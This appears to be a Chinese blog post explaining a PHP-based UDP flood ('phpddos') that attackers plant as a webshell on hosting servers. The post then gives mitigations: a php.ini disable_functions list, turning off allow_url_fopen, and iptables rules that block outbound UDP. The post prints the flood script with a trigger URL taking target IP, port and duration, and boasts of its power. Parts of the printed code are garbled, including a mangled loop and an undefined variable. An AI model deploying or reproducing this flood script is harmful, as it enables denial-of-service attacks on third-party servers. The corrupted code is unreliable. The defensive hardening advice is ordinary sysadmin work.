phpddos 解决方案

 

最近又老生常谈的发现n多客户的服务器莫名其妙的流量N大,然后仔细查找了一番,网上出现也蛮多的,这里发一个变种的。所谓的就是用来模拟http请求,发送udp+数据包。只有目标服务器带宽大于攻击者的才不会受影响。软防硬防屏蔽一律无视。
当然,题目是分布式,攻击来源自然不是一个,三个500m的服务器的虚拟主机webshell干掉1g带宽的服务器没问题。
用法:
http://www.shell.com/xxxx.php?ip=8.8.8.8&port=80&time=99999999999999999


Php代码


<?php    $packets = 0;   $ip = $_GET['ip'];   $rand = $_GET['port'];    set_time_limit(0);   ignore_user_abort(FALSE);    $exec_time = $_GET['time'];   $time = time();    print "Flooded: $ip on port $rand 

";    $max_time = $time+$exec_time;   for($i=0;$i$max_time){   break;   }    $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);   if($fp){    fwrite($fp, $out);   fclose($fp);   }   }    echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets /$exec_time, 2) . " packets/s n";   ?>


其实工作原理很简单就是通过url传递IP和端口以udp的方式打开,传递文件到服务器写出,访问触发后会进行攻击他人服务器的行为。
解决方案:


window的解决方法是首先停止IIS服务在php.ini里设置
disable_functions=gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen


然后设allow_url_fopen其值为Off

在检查extension=php_sockets.dll是否有extension=php_sockets.dll

然后ok重启IIS。


另外,对于没加密的php攻击代码,还可以用IP策略,或防火墙,禁止所有udp向外发送


linux的,使用 iptables 创建:
    iptables -A INPUT -p tcp -m tcp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT     iptables -A INPUT -p udp -m udp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT     iptables -A OUTPUT -p tcp -m tcp --sport 1024:65535 -d 8.8.4.4 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT     iptables -A OUTPUT -p udp -m udp --sport 1024:65535 -d 8.8.8.8 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT    iptables -A OUTPUT -p udp -j REJECT

 

修改下php.ini把 allow_url_fopen = Off


你可能感兴趣的:(服务器,解决方案,虚拟主机,webshell,数据包)